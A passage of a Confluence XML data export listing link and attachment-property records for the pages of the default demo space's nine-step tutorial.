<property name="lowerDestinationPageTitle"><![CDATA[lay out your page (step 6 of 9)]]></property>
<property name="destinationSpaceKey"><![CDATA[ds]]></property>
<property name="lowerDestinationSpaceKey"><![CDATA[ds]]></property>
<property name="sourceContent" class="Page" package="com.atlassian.confluence.pages"><id name="id">98319</id>
</property>
<property name="creationDate">2020-10-26 15:44:29.341</property>
<property name="lastModificationDate">2023-11-09 06:03:45.265</property>
</object>
<object class="OutgoingLink" package="com.atlassian.confluence.links">
<id name="id">196642</id>
<property name="destinationPageTitle"><![CDATA[Welcome to Confluence]]></property>
<property name="lowerDestinationPageTitle"><![CDATA[welcome to confluence]]></property>
<property name="destinationSpaceKey"><![CDATA[ds]]></property>
<property name="lowerDestinationSpaceKey"><![CDATA[ds]]></property>
<property name="sourceContent" class="Page" package="com.atlassian.confluence.pages"><id name="id">98317</id>
</property>
<property name="creationDate">2020-10-26 15:44:29.341</property>
<property name="lastModificationDate">2023-11-09 06:03:45.265</property>
</object>
<object class="OutgoingLink" package="com.atlassian.confluence.links">
<id name="id">196643</id>
<property name="destinationPageTitle"><![CDATA[Prettify the page with an image (step 4 of 9)]]></property>
<property name="lowerDestinationPageTitle"><![CDATA[prettify the page with an image (step 4 of 9)]]></property>
<property name="destinationSpaceKey"><![CDATA[ds]]></property>
<property name="lowerDestinationSpaceKey"><![CDATA[ds]]></property>
<property name="sourceContent" class="Page" package="com.atlassian.confluence.pages"><id name="id">98317</id>
</property>
<property name="creationDate">2020-10-26 15:44:29.341</property>
<property name="lastModificationDate">2023-11-09 06:03:45.265</property>
</object>
<object class="OutgoingLink" package="com.atlassian.confluence.links">
<id name="id">196644</id>
<property name="destinationPageTitle"><![CDATA[//maps.google.com/maps?q=Atlassian,+George+Street,+New+South+Wales,+Australia&hl=en&ll=-33.866572,151.207001&spn=0.004321,0.008256&sll=-33.870509,151.203707&sspn=0.008641,0.016512&oq=atlassian,&hq=Atlassian,+George+Street,+New+South+Wales,+Australia&radiu]]></property>
<property name="lowerDestinationPageTitle"><![CDATA[//maps.google.com/maps?q=atlassian,+george+street,+new+south+wales,+australia&hl=en&ll=-33.866572,151.207001&spn=0.004321,0.008256&sll=-33.870509,151.203707&sspn=0.008641,0.016512&oq=atlassian,&hq=atlassian,+george+street,+new+south+wales,+australia&radiu]]></property>
<property name="destinationSpaceKey"><![CDATA[https]]></property>
<property name="lowerDestinationSpaceKey"><![CDATA[https]]></property>
<property name="sourceContent" class="Page" package="com.atlassian.confluence.pages"><id name="id">98314</id>
</property>
<property name="creationDate">2020-10-26 15:44:29.341</property>
<property name="lastModificationDate">2023-11-09 06:03:45.265</property>
</object>
<object class="OutgoingLink" package="com.atlassian.confluence.links">
<id name="id">196645</id>
<property name="destinationPageTitle"><![CDATA[Learn the wonders of autoconvert (step 7 of 9)]]></property>
<property name="lowerDestinationPageTitle"><![CDATA[learn the wonders of autoconvert (step 7 of 9)]]></property>
<property name="destinationSpaceKey"><![CDATA[ds]]></property>
<property name="lowerDestinationSpaceKey"><![CDATA[ds]]></property>
<property name="sourceContent" class="Page" package="com.atlassian.confluence.pages"><id name="id">98319</id>
</property>
<property name="creationDate">2020-10-26 15:44:29.341</property>
<property name="lastModificationDate">2023-11-09 06:03:45.265</property>
</object>
<object class="OutgoingLink" package="com.atlassian.confluence.links">
<id name="id">196638</id>
<property name="destinationPageTitle"><![CDATA[Tell people what you think in a comment (step 8 of 9)]]></property>
<property name="lowerDestinationPageTitle"><![CDATA[tell people what you think in a comment (step 8 of 9)]]></property>
<property name="destinationSpaceKey"><![CDATA[ds]]></property>
<property name="lowerDestinationSpaceKey"><![CDATA[ds]]></property>
<property name="sourceContent" class="Page" package="com.atlassian.confluence.pages"><id name="id">98319</id>
</property>
<property name="creationDate">2020-10-26 15:44:29.341</property>
<property name="lastModificationDate">2023-11-09 06:03:45.265</property>
</object>
<object class="OutgoingLink" package="com.atlassian.confluence.links">
<id name="id">196639</id>
<property name="destinationPageTitle"><![CDATA[A quick look at the editor (step 2 of 9)]]></property>
<property name="lowerDestinationPageTitle"><![CDATA[a quick look at the editor (step 2 of 9)]]></property>
<property name="destinationSpaceKey"><![CDATA[ds]]></property>
<property name="lowerDestinationSpaceKey"><![CDATA[ds]]></property>
<property name="sourceContent" class="Page" package="com.atlassian.confluence.pages"><id name="id">98317</id>
</property>
<property name="creationDate">2020-10-26 15:44:29.341</property>
<property name="lastModificationDate">2023-11-09 06:03:45.265</property>
</object>
<object class="OutgoingLink" package="com.atlassian.confluence.links">
<id name="id">196640</id>
<property name="destinationPageTitle"><![CDATA[Prettify the page with an image (step 4 of 9)]]></property>
<property name="lowerDestinationPageTitle"><![CDATA[prettify the page with an image (step 4 of 9)]]></property>
<property name="destinationSpaceKey"><![CDATA[ds]]></property>
<property name="lowerDestinationSpaceKey"><![CDATA[ds]]></property>
<property name="sourceContent" class="Page" package="com.atlassian.confluence.pages"><id name="id">98319</id>
</property>
<property name="creationDate">2020-10-26 15:44:29.341</property>
<property name="lastModificationDate">2023-11-09 06:03:45.265</property>
</object>
<object class="OutgoingLink" package="com.atlassian.confluence.links">
<id name="id">196641</id>
<property name="destinationPageTitle"><![CDATA[Let's edit this page (step 3 of 9)]]></property>
<property name="lowerDestinationPageTitle"><![CDATA[let's edit this page (step 3 of 9)]]></property>
<property name="destinationSpaceKey"><![CDATA[ds]]></property>
<property name="lowerDestinationSpaceKey"><![CDATA[ds]]></property>
<property name="sourceContent" class="Page" package="com.atlassian.confluence.pages"><id name="id">98319</id>
</property>
<property name="creationDate">2020-10-26 15:44:29.341</property>
<property name="lastModificationDate">2023-11-09 06:03:45.265</property>
</object>
<object class="OutgoingLink" package="com.atlassian.confluence.links">
<id name="id">196634</id>
<property name="destinationPageTitle"><![CDATA[Welcome to Confluence]]></property>
<property name="lowerDestinationPageTitle"><![CDATA[welcome to confluence]]></property>
<property name="destinationSpaceKey"><![CDATA[ds]]></property>
<property name="lowerDestinationSpaceKey"><![CDATA[ds]]></property>
<property name="sourceContent" class="Page" package="com.atlassian.confluence.pages"><id name="id">98321</id>
</property>
<property name="creationDate">2020-10-26 15:44:29.341</property>
<property name="lastModificationDate">2023-11-09 06:03:45.265</property>
</object>
<object class="OutgoingLink" package="com.atlassian.confluence.links">
<id name="id">196635</id>
<property name="destinationPageTitle"><![CDATA[Learn the wonders of autoconvert (step 7 of 9)]]></property>
<property name="lowerDestinationPageTitle"><![CDATA[learn the wonders of autoconvert (step 7 of 9)]]></property>
<property name="destinationSpaceKey"><![CDATA[ds]]></property>
<property name="lowerDestinationSpaceKey"><![CDATA[ds]]></property>
<property name="sourceContent" class="Page" package="com.atlassian.confluence.pages"><id name="id">98321</id>
</property>
<property name="creationDate">2020-10-26 15:44:29.341</property>
<property name="lastModificationDate">2023-11-09 06:03:45.265</property>
</object>
<object class="OutgoingLink" package="com.atlassian.confluence.links">
<id name="id">196636</id>
<property name="destinationPageTitle"><![CDATA[Let's edit this page (step 3 of 9)]]></property>
<property name="lowerDestinationPageTitle"><![CDATA[let's edit this page (step 3 of 9)]]></property>
<property name="destinationSpaceKey"><![CDATA[ds]]></property>
<property name="lowerDestinationSpaceKey"><![CDATA[ds]]></property>
<property name="sourceContent" class="Page" package="com.atlassian.confluence.pages"><id name="id">98321</id>
</property>
<property name="creationDate">2020-10-26 15:44:29.341</property>
<property name="lastModificationDate">2023-11-09 06:03:45.265</property>
</object>
<object class="OutgoingLink" package="com.atlassian.confluence.links">
<id name="id">196637</id>
<property name="destinationPageTitle"><![CDATA[Get serious with a table (step 5 of 9)]]></property>
<property name="lowerDestinationPageTitle"><![CDATA[get serious with a table (step 5 of 9)]]></property>
<property name="destinationSpaceKey"><![CDATA[ds]]></property>
<property name="lowerDestinationSpaceKey"><![CDATA[ds]]></property>
<property name="sourceContent" class="Page" package="com.atlassian.confluence.pages"><id name="id">98319</id>
</property>
<property name="creationDate">2020-10-26 15:44:29.341</property>
<property name="lastModificationDate">2023-11-09 06:03:45.265</property>
</object>
<object class="OutgoingLink" package="com.atlassian.confluence.links">
<id name="id">196630</id>
<property name="destinationPageTitle"><![CDATA[Let's edit this page (step 3 of 9)]]></property>
<property name="lowerDestinationPageTitle"><![CDATA[let's edit this page (step 3 of 9)]]></property>
<property name="destinationSpaceKey"><![CDATA[ds]]></property>
<property name="lowerDestinationSpaceKey"><![CDATA[ds]]></property>
<property name="sourceContent" class="Page" package="com.atlassian.confluence.pages"><id name="id">98320</id>
</property>
<property name="creationDate">2020-10-26 15:44:29.341</property>
<property name="lastModificationDate">2023-11-09 06:03:45.265</property>
</object>
<object class="OutgoingLink" package="com.atlassian.confluence.links">
<id name="id">196631</id>
<property name="destinationPageTitle"><![CDATA[Let's edit this page (step 3 of 9)]]></property>
<property name="lowerDestinationPageTitle"><![CDATA[let's edit this page (step 3 of 9)]]></property>
<property name="destinationSpaceKey"><![CDATA[ds]]></property>
<property name="lowerDestinationSpaceKey"><![CDATA[ds]]></property>
<property name="sourceContent" class="Page" package="com.atlassian.confluence.pages"><id name="id">98318</id>
</property>
<property name="creationDate">2020-10-26 15:44:29.341</property>
<property name="lastModificationDate">2023-11-09 06:03:45.265</property>
</object>
<object class="OutgoingLink" package="com.atlassian.confluence.links">
<id name="id">196632</id>
<property name="destinationPageTitle"><![CDATA[Get serious with a table (step 5 of 9)]]></property>
<property name="lowerDestinationPageTitle"><![CDATA[get serious with a table (step 5 of 9)]]></property>
<property name="destinationSpaceKey"><![CDATA[ds]]></property>
<property name="lowerDestinationSpaceKey"><![CDATA[ds]]></property>
<property name="sourceContent" class="Page" package="com.atlassian.confluence.pages"><id name="id">98318</id>
</property>
<property name="creationDate">2020-10-26 15:44:29.341</property>
<property name="lastModificationDate">2023-11-09 06:03:45.265</property>
</object>
<object class="OutgoingLink" package="com.atlassian.confluence.links">
<id name="id">196633</id>
<property name="destinationPageTitle"><![CDATA[Get serious with a table (step 5 of 9)]]></property>
<property name="lowerDestinationPageTitle"><![CDATA[get serious with a table (step 5 of 9)]]></property>
<property name="destinationSpaceKey"><![CDATA[ds]]></property>
<property name="lowerDestinationSpaceKey"><![CDATA[ds]]></property>
<property name="sourceContent" class="Page" package="com.atlassian.confluence.pages"><id name="id">98321</id>
</property>
<property name="creationDate">2020-10-26 15:44:29.341</property>
<property name="lastModificationDate">2023-11-09 06:03:45.265</property>
</object>
<object class="OutgoingLink" package="com.atlassian.confluence.links">
<id name="id">196626</id>
<property name="destinationPageTitle"><![CDATA[Learn the wonders of autoconvert (step 7 of 9)]]></property>
<property name="lowerDestinationPageTitle"><![CDATA[learn the wonders of autoconvert (step 7 of 9)]]></property>
<property name="destinationSpaceKey"><![CDATA[ds]]></property>
<property name="lowerDestinationSpaceKey"><![CDATA[ds]]></property>
<property name="sourceContent" class="Page" package="com.atlassian.confluence.pages"><id name="id">98305</id>
</property>
<property name="creationDate">2020-10-26 15:44:29.341</property>
<property name="lastModificationDate">2023-11-09 06:03:45.265</property>
</object>
<object class="OutgoingLink" package="com.atlassian.confluence.links">
<id name="id">196627</id>
<property name="destinationPageTitle"><![CDATA[Welcome to Confluence]]></property>
<property name="lowerDestinationPageTitle"><![CDATA[welcome to confluence]]></property>
<property name="destinationSpaceKey"><![CDATA[ds]]></property>
<property name="lowerDestinationSpaceKey"><![CDATA[ds]]></property>
<property name="sourceContent" class="Page" package="com.atlassian.confluence.pages"><id name="id">98318</id>
</property>
<property name="creationDate">2020-10-26 15:44:29.341</property>
<property name="lastModificationDate">2023-11-09 06:03:45.265</property>
</object>
<object class="OutgoingLink" package="com.atlassian.confluence.links">
<id name="id">196628</id>
<property name="destinationPageTitle"><![CDATA[Lay out your page (step 6 of 9)]]></property>
<property name="lowerDestinationPageTitle"><![CDATA[lay out your page (step 6 of 9)]]></property>
<property name="destinationSpaceKey"><![CDATA[ds]]></property>
<property name="lowerDestinationSpaceKey"><![CDATA[ds]]></property>
<property name="sourceContent" class="Page" package="com.atlassian.confluence.pages"><id name="id">98321</id>
</property>
<property name="creationDate">2020-10-26 15:44:29.341</property>
<property name="lastModificationDate">2023-11-09 06:03:45.265</property>
</object>
<object class="OutgoingLink" package="com.atlassian.confluence.links">
<id name="id">196629</id>
<property name="destinationPageTitle"><![CDATA[Prettify the page with an image (step 4 of 9)]]></property>
<property name="lowerDestinationPageTitle"><![CDATA[prettify the page with an image (step 4 of 9)]]></property>
<property name="destinationSpaceKey"><![CDATA[ds]]></property>
<property name="lowerDestinationSpaceKey"><![CDATA[ds]]></property>
<property name="sourceContent" class="Page" package="com.atlassian.confluence.pages"><id name="id">98318</id>
</property>
<property name="creationDate">2020-10-26 15:44:29.341</property>
<property name="lastModificationDate">2023-11-09 06:03:45.265</property>
</object>
<object class="OutgoingLink" package="com.atlassian.confluence.links">
<id name="id">196622</id>
<property name="destinationPageTitle"><![CDATA[Tell people what you think in a comment (step 8 of 9)]]></property>
<property name="lowerDestinationPageTitle"><![CDATA[tell people what you think in a comment (step 8 of 9)]]></property>
<property name="destinationSpaceKey"><![CDATA[ds]]></property>
<property name="lowerDestinationSpaceKey"><![CDATA[ds]]></property>
<property name="sourceContent" class="Page" package="com.atlassian.confluence.pages"><id name="id">98305</id>
</property>
<property name="creationDate">2020-10-26 15:44:29.341</property>
<property name="lastModificationDate">2023-11-09 06:03:45.265</property>
</object>
<object class="OutgoingLink" package="com.atlassian.confluence.links">
<id name="id">196623</id>
<property name="destinationPageTitle"><![CDATA[Welcome to Confluence]]></property>
<property name="lowerDestinationPageTitle"><![CDATA[welcome to confluence]]></property>
<property name="destinationSpaceKey"><![CDATA[ds]]></property>
<property name="lowerDestinationSpaceKey"><![CDATA[ds]]></property>
<property name="sourceContent" class="Page" package="com.atlassian.confluence.pages"><id name="id">98305</id>
</property>
<property name="creationDate">2020-10-26 15:44:29.341</property>
<property name="lastModificationDate">2023-11-09 06:03:45.265</property>
</object>
<object class="OutgoingLink" package="com.atlassian.confluence.links">
<id name="id">196624</id>
<property name="destinationPageTitle"><![CDATA[Welcome to Confluence]]></property>
<property name="lowerDestinationPageTitle"><![CDATA[welcome to confluence]]></property>
<property name="destinationSpaceKey"><![CDATA[ds]]></property>
<property name="lowerDestinationSpaceKey"><![CDATA[ds]]></property>
<property name="sourceContent" class="Page" package="com.atlassian.confluence.pages"><id name="id">98319</id>
</property>
<property name="creationDate">2020-10-26 15:44:29.341</property>
<property name="lastModificationDate">2023-11-09 06:03:45.265</property>
</object>
<object class="ContentProperty" package="com.atlassian.confluence.content">
<id name="id">262272</id>
<property name="name"><![CDATA[MINOR_EDIT]]></property>
<property name="stringValue"/><property name="longValue">1</property>
<property name="dateValue"/></object>
<object class="OutgoingLink" package="com.atlassian.confluence.links">
<id name="id">196625</id>
<property name="destinationPageTitle"><![CDATA[A quick look at the editor (step 2 of 9)]]></property>
<property name="lowerDestinationPageTitle"><![CDATA[a quick look at the editor (step 2 of 9)]]></property>
<property name="destinationSpaceKey"><![CDATA[ds]]></property>
<property name="lowerDestinationSpaceKey"><![CDATA[ds]]></property>
<property name="sourceContent" class="Page" package="com.atlassian.confluence.pages"><id name="id">98320</id>
</property>
<property name="creationDate">2020-10-26 15:44:29.341</property>
<property name="lastModificationDate">2023-11-09 06:03:45.265</property>
</object>
<object class="ContentProperty" package="com.atlassian.confluence.content">
<id name="id">262271</id>
<property name="name"><![CDATA[macro-create-events-published-for-version]]></property>
<property name="stringValue"/><property name="longValue">14</property>
<property name="dateValue"/></object>
<object class="OutgoingLink" package="com.atlassian.confluence.links">
<id name="id">196618</id>
<property name="destinationPageTitle"><![CDATA[Share your page with a team member (step 9 of 9)]]></property>
<property name="lowerDestinationPageTitle"><![CDATA[share your page with a team member (step 9 of 9)]]></property>
<property name="destinationSpaceKey"><![CDATA[ds]]></property>
<property name="lowerDestinationSpaceKey"><![CDATA[ds]]></property>
<property name="sourceContent" class="Page" package="com.atlassian.confluence.pages"><id name="id">98305</id>
</property>
<property name="creationDate">2020-10-26 15:44:29.341</property>
<property name="lastModificationDate">2023-11-09 06:03:45.265</property>
</object>
<object class="ContentProperty" package="com.atlassian.confluence.content">
<id name="id">262270</id>
<property name="name"><![CDATA[macroNames]]></property>
<property name="stringValue"/><property name="longValue"/><property name="dateValue"/></object>
<object class="OutgoingLink" package="com.atlassian.confluence.links">
<id name="id">196619</id>
<property name="destinationPageTitle"><![CDATA[Welcome to Confluence]]></property>
<property name="lowerDestinationPageTitle"><![CDATA[welcome to confluence]]></property>
<property name="destinationSpaceKey"><![CDATA[ds]]></property>
<property name="lowerDestinationSpaceKey"><![CDATA[ds]]></property>
<property name="sourceContent" class="Page" package="com.atlassian.confluence.pages"><id name="id">98306</id>
</property>
<property name="creationDate">2020-10-26 15:44:29.341</property>
<property name="lastModificationDate">2023-11-09 06:03:45.265</property>
</object>
<object class="ContentProperty" package="com.atlassian.confluence.content">
<id name="id">262269</id>
<property name="name"><![CDATA[FILESIZE]]></property>
<property name="stringValue"/><property name="longValue">9061</property>
<property name="dateValue"/></object>
<object class="OutgoingLink" package="com.atlassian.confluence.links">
<id name="id">196620</id>
<property name="destinationPageTitle"><![CDATA[Tell people what you think in a comment (step 8 of 9)]]></property>
<property name="lowerDestinationPageTitle"><![CDATA[tell people what you think in a comment (step 8 of 9)]]></property>
<property name="destinationSpaceKey"><![CDATA[ds]]></property>
<property name="lowerDestinationSpaceKey"><![CDATA[ds]]></property>
<property name="sourceContent" class="Page" package="com.atlassian.confluence.pages"><id name="id">98306</id>
</property>
<property name="creationDate">2020-10-26 15:44:29.341</property>
<property name="lastModificationDate">2023-11-09 06:03:45.265</property>
</object>
<object class="ContentProperty" package="com.atlassian.confluence.content">
<id name="id">262268</id>
<property name="name"><![CDATA[MEDIA_TYPE]]></property>
<property name="stringValue"><![CDATA[image/png]]></property>
<property name="longValue"/><property name="dateValue"/></object>
<object class="OutgoingLink" package="com.atlassian.confluence.links">
<id name="id">196621</id>
<property name="destinationPageTitle"><![CDATA[Welcome to Confluence]]></property>
<property name="lowerDestinationPageTitle"><![CDATA[welcome to confluence]]></property>
<property name="destinationSpaceKey"><![CDATA[ds]]></property>
<property name="lowerDestinationSpaceKey"><![CDATA[ds]]></property>
<property name="sourceContent" class="Page" package="com.atlassian.confluence.pages"><id name="id">98320</id>
</property>
<property name="creationDate">2020-10-26 15:44:29.341</property>
<property name="lastModificationDate">2023-11-09 06:03:45.265</property>
</object>
<object class="ContentProperty" package="com.atlassian.confluence.content">
<id name="id">262267</id>
<property name="name"><![CDATA[HIDDEN]]></property>
<property name="stringValue"/><property name="longValue">0</property>
<property name="dateValue"/></object>
<object class="OutgoingLink" package="com.atlassian.confluence.links">
<id name="id">196614</id>
<property name="destinationPageTitle"><![CDATA[Share your page with a team member (step 9 of 9)]]></property>
<property name="lowerDestinationPageTitle"><![CDATA[share your page with a team member (step 9 of 9)]]></property>
<property name="destinationSpaceKey"><![CDATA[ds]]></property>
<property name="lowerDestinationSpaceKey"><![CDATA[ds]]></property>
<property name="sourceContent" class="Page" package="com.atlassian.confluence.pages"><id name="id">98306</id>
</property>
<property name="creationDate">2020-10-26 15:44:29.341</property>
<property name="lastModificationDate">2023-11-09 06:03:45.265</property>
</object>
<object class="ContentProperty" package="com.atlassian.confluence.content">
<id name="id">262266</id>
<property name="name"><![CDATA[MINOR_EDIT]]></property>
<property name="stringValue"/><property name="longValue">1</property>
<property name="dateValue"/></object>
<object class="OutgoingLink" package="com.atlassian.confluence.links">
<id name="id">196615</id>
<property name="destinationPageTitle"><![CDATA[Let's edit this page (step 3 of 9)]]></property>
<property name="lowerDestinationPageTitle"><![CDATA[let's edit this page (step 3 of 9)]]></property>
<property name="destinationSpaceKey"><![CDATA[ds]]></property>
<property name="lowerDestinationSpaceKey"><![CDATA[ds]]></property>
<property name="sourceContent" class="Page" package="com.atlassian.confluence.pages"><id name="id">98305</id>
</property>
<property name="creationDate">2020-10-26 15:44:29.341</property>
<property name="lastModificationDate">2023-11-09 06:03:45.265</property>
</object>
<object class="ContentProperty" package="com.atlassian.confluence.content">
<id name="id">262265</id>
<property name="name"><![CDATA[MEDIA_TYPE]]></property>
<property name="stringValue"><![CDATA[image/png]]></property>
<property name="longValue"/><property name="dateValue"/></object>
<object class="OutgoingLink" package="com.atlassian.confluence.links">
<id name="id">196616</id>
<property name="destinationPageTitle"><![CDATA[Let's edit this page (step 3 of 9)]]></property>
<property name="lowerDestinationPageTitle"><![CDATA[let's edit this page (step 3 of 9)]]></property>
<property name="destinationSpaceKey"><![CDATA[ds]]></property>
<property name="lowerDestinationSpaceKey"><![CDATA[ds]]></property>
<property name="sourceContent" class="Page" package="com.atlassian.confluence.pages"><id name="id">98317</id>
</property>
<property name="creationDate">2020-10-26 15:44:29.341</property>
<property name="lastModificationDate">2023-11-09 06:03:45.265</property>
</object>
<object class="ContentProperty" package="com.atlassian.confluence.content">
<id name="id">262264</id>
<property name="name"><![CDATA[FILESIZE]]></property>
<property name="stringValue"/><property name="longValue">9592</property>
<property name="dateValue"/></object>
<object class="OutgoingLink" package="com.atlassian.confluence.links">
<id name="id">196617</id>
<property name="destinationPageTitle"><![CDATA[Let's edit this page (step 3 of 9)]]></property>
<property name="lowerDestinationPageTitle"><![CDATA[let's edit this page (step 3 of 9)]]></property>
<property name="destinationSpaceKey"><![CDATA[ds]]></property>
<property name="lowerDestinationSpaceKey"><![CDATA[ds]]></property>
<property name="sourceContent" class="Page" package="com.atlassian.confluence.pages"><id name="id">98306</id>
</property>
<property name="creationDate">2020-10-26 15:44:29.341</property>
<property name="lastModificationDate">2023-11-09 06:03:45.265</property>
</object>
<object class="ContentProperty" package="com.atlassian.confluence.content">
<id name="id">262263</id>
<property name="name"><![CDATA[MEDIA_TYPE]]></property>
<property name="stringValue"><![CDATA[image/png]]></property>
<property name="longValue"/><property name="dateValue"/></object>
<object class="OutgoingLink" package="com.atlassian.confluence.links">
<id name="id">196610</id>
<property name="destinationPageTitle"><![CDATA[Let's edit this page (step 3 of 9)]]></property>
<property name="lowerDestinationPageTitle"><![CDATA[let's edit this page (step 3 of 9)]]></property>
<property name="destinationSpaceKey"><![CDATA[ds]]></property>
<property name="lowerDestinationSpaceKey"><![CDATA[ds]]></property>
<property name="sourceContent" class="Page" package="com.atlassian.confluence.pages"><id name="id">98314</id>
</property>
<property name="creationDate">2020-10-26 15:44:29.341</property>
<property name="lastModificationDate">2023-11-09 06:03:45.265</property>
</object>
<object class="ContentProperty" package="com.atlassian.confluence.content">
<id name="id">262262</id>
<property name="name"><![CDATA[MEDIA_TYPE]]></property>
<property name="stringValue"><![CDATA[image/png]]></property>
<property name="longValue"/><property name="dateValue"/></object>
<object class="OutgoingLink" package="com.atlassian.confluence.links">
<id name="id">196611</id>
<property name="destinationPageTitle"><![CDATA[Tell people what you think in a comment (step 8 of 9)]]></property>
<property name="lowerDestinationPageTitle"><![CDATA[tell people what you think in a comment (step 8 of 9)]]></property>
<property name="destinationSpaceKey"><![CDATA[ds]]></property>
<property name="lowerDestinationSpaceKey"><![CDATA[ds]]></property>
<property name="sourceContent" class="Page" package="com.atlassian.confluence.pages"><id name="id">98314</id>
</property>
<property name="creationDate">2020-10-26 15:44:29.341</property>
<property name="lastModificationDate">2023-11-09 06:03:45.265</property>
</object>
<object class="ContentProperty" package="com.atlassian.confluence.content">
<id name="id">262261</id>
<property name="name"><![CDATA[MEDIA_TYPE]]></property>
<property name="stringValue"><![CDATA[image/png]]></property>
<property name="longValue"/><property name="dateValue"/></object>
<object class="OutgoingLink" package="com.atlassian.confluence.links">
<id name="id">196612</id>
<property name="destinationPageTitle"><![CDATA[Welcome to Confluence]]></property>
<property name="lowerDestinationPageTitle"><![CDATA[welcome to confluence]]></property>
<property name="destinationSpaceKey"><![CDATA[ds]]></property>
<property name="lowerDestinationSpaceKey"><![CDATA[ds]]></property>
<property name="sourceContent" class="Page" package="com.atlassian.confluence.pages"><id name="id">98314</id>
</property>
<property name="creationDate">2020-10-26 15:44:29.341</property>
<property name="lastModificationDate">2023-11-09 06:03:45.265</property>
</object>
<object class="ContentProperty" package="com.atlassian.confluence.content">
<id name="id">262260</id>
<property name="name"><![CDATA[MINOR_EDIT]]></property>
<property name="stringValue"/><property name="longValue">0</property>
<property name="dateValue"/></object>
<object class="OutgoingLink" package="com.atlassian.confluence.links">
<id name="id">196613</id>
<property name="destinationPageTitle"><![CDATA[Lay out your page (step 6 of 9)]]></property>
<property name="lowerDestinationPageTitle"><![CDATA[lay out your page (step 6 of 9)]]></property>
<property name="destinationSpaceKey"><![CDATA[ds]]></property>
<property name="lowerDestinationSpaceKey"><![CDATA[ds]]></property>
<property name="sourceContent" class="Page" package="com.atlassian.confluence.pages"><id name="id">98314</id>
</property>
<property name="creationDate">2020-10-26 15:44:29.341</property>
<property name="lastModificationDate">2023-11-09 06:03:45.265</property>
</object>
<object class="ContentProperty" package="com.atlassian.confluence.content">
<id name="id">262259</id>
<property name="name"><![CDATA[FILESIZE]]></property>
<property name="stringValue"/><property name="longValue">34478</property>
<property name="dateValue"/></object>
<object class="ContentProperty" package="com.atlassian.confluence.content">
<id name="id">262258</id>
<property name="name"><![CDATA[MEDIA_TYPE]]></property>
<property name="stringValue"><![CDATA[image/png]]></property>
<property name="longValue"/><property name="dateValue"/></object>
<object class="ContentProperty" package="com.atlassian.confluence.content">
<id name="id">262257</id>
<property name="name"><![CDATA[HIDDEN]]></property>
<property name="stringValue"/><property name="longValue">0</property>
<property name="dateValue"/></object>
<object class="ContentProperty" package="com.atlassian.confluence.content">
<id name="id">262256</id>
<property name="name"><![CDATA[FILESIZE]]></property>
<property name="stringValue"/><property name="longValue">6988</property>
<property name="dateValue"/></object>
<object class="OutgoingLink" package="com.atlassian.confluence.links">
<id name="id">196609</id>
<property name="destinationPageTitle"><![CDATA[//youtu.be/RXhL9cfwx2c]]></property>
<property name="lowerDestinationPageTitle"><![CDATA[//youtu.be/rxhl9cfwx2c]]></property>
<property name="destinationSpaceKey"><![CDATA[https]]></property>
<property name="lowerDestinationSpaceKey"><![CDATA[https]]></property>
<property name="sourceContent" class="Page" package="com.atlassian.confluence.pages"><id name="id">98314</id>
</property>
<property name="creationDate">2020-10-26 15:44:29.341</property>
<property name="lastModificationDate">2023-11-09 06:03:45.265</property>
</object>
<object class="ContentProperty" package="com.atlassian.confluence.content">
<id name="id">262255</id>
<property name="name"><![CDATA[HIDDEN]]></property>
<property name="stringValue"/><property name="longValue">0</property>
<property name="dateValue"/></object>
<object class="ContentProperty" package="com.atlassian.confluence.content">
<id name="id">262254</id>
<property name="name"><![CDATA[MEDIA_TYPE]]></property>
<property name="stringValue"><![CDATA[image/png]]></property>
<property name="longValue"/><property name="dateValue"/></object>
<object class="ContentProperty" package="com.atlassian.confluence.content">
<id name="id">262253</id>
<property name="name"><![CDATA[FILESIZE]]></property>
<property name="stringValue"/><property name="longValue">88136</property>
<property name="dateValue"/></object>
<object class="ContentProperty" package="com.atlassian.confluence.content">
<id name="id">262252</id>
<property name="name"><![CDATA[MEDIA_TYPE]]></property>
<property name="stringValue"><![CDATA[image/png]]></property>
<property name="longValue"/><property name="dateValue"/></object>
<object class="ContentProperty" package="com.atlassian.confluence.content">
<id name="id">262251</id>
<property name="name"><![CDATA[HIDDEN]]></property>
<property name="stringValue"/><property name="longValue">0</property>
<property name="dateValue"/></object>
<object class="ContentProperty" package="com.atlassian.confluence.content">
<id name="id">262250</id>
<property name="name"><![CDATA[FILESIZE]]></property>
<property name="stringValue"/><property name="longValue">2144</property>
<property name="dateValue"/></object>
<object class="ContentProperty" package="com.atlassian.confluence.content">
<id name="id">262249</id>
<property name="name"><![CDATA[MEDIA_TYPE]]></property>
<property name="stringValue"><![CDATA[image/jpeg]]></property>
<property name="longValue"/><property name="dateValue"/></object>
<object class="ContentProperty" package="com.atlassian.confluence.content">
<id name="id">262248</id>
<property name="name"><![CDATA[MINOR_EDIT]]></property>
<property name="stringValue"/><property name="longValue">1</property>
<property name="dateValue"/></object>
<object class="ContentProperty" package="com.atlassian.confluence.content">
<id name="id">262247</id>
<property name="name"><![CDATA[FILESIZE]]></property>
<property name="stringValue"/><property name="longValue">109868</property>
<property name="dateValue"/></object>
<object class="ContentProperty" package="com.atlassian.confluence.content">
<id name="id">262246</id>
<property name="name"><![CDATA[HIDDEN]]></property>
<property name="stringValue"/><property name="longValue">0</property>
<property name="dateValue"/></object>
<object class="ContentProperty" package="com.atlassian.confluence.content">
<id name="id">262245</id>
<property name="name"><![CDATA[MINOR_EDIT]]></property>
<property name="stringValue"/><property name="longValue">0</property>
<property name="dateValue"/></object>
<object class="ContentProperty" package="com.atlassian.confluence.content">
<id name="id">262244</id>
<property name="name"><![CDATA[MEDIA_TYPE]]></property>
<property name="stringValue"><![CDATA[image/png]]></property>
<property name="longValue"/><property name="dateValue"/></object>
<object class="ContentProperty" package="com.atlassian.confluence.content">
<id name="id">262243</id>
<property name="name"><![CDATA[MEDIA_TYPE]]></property>
<property name="stringValue"><![CDATA[image/png]]></property>
<property name="longValue"/><property name="dateValue"/></object>
<object class="ContentProperty" package="com.atlassian.confluence.content">
<id name="id">262242</id>
<property name="name"><![CDATA[MINOR_EDIT]]></property>
<property name="stringValue"/><property name="longValue">0</property>
<property name="dateValue"/></object>
<object class="ContentProperty" package="com.atlassian.confluence.content">
<id name="id">262241</id>
<property name="name"><![CDATA[HIDDEN]]></property>
<property name="stringValue"/><property name="longValue">0</property>
<property name="dateValue"/></object>
<object class="ContentProperty" package="com.atlassian.confluence.content">
<id name="id">262240</id>
<property name="name"><![CDATA[MEDIA_TYPE]]></property>
<property name="stringValue"><![CDATA[image/jpeg]]></property>
<property name="longValue"/><property name="dateValue"/></object>
<object class="ContentProperty" package="com.atlassian.confluence.content">
<id name="id">262239</id>
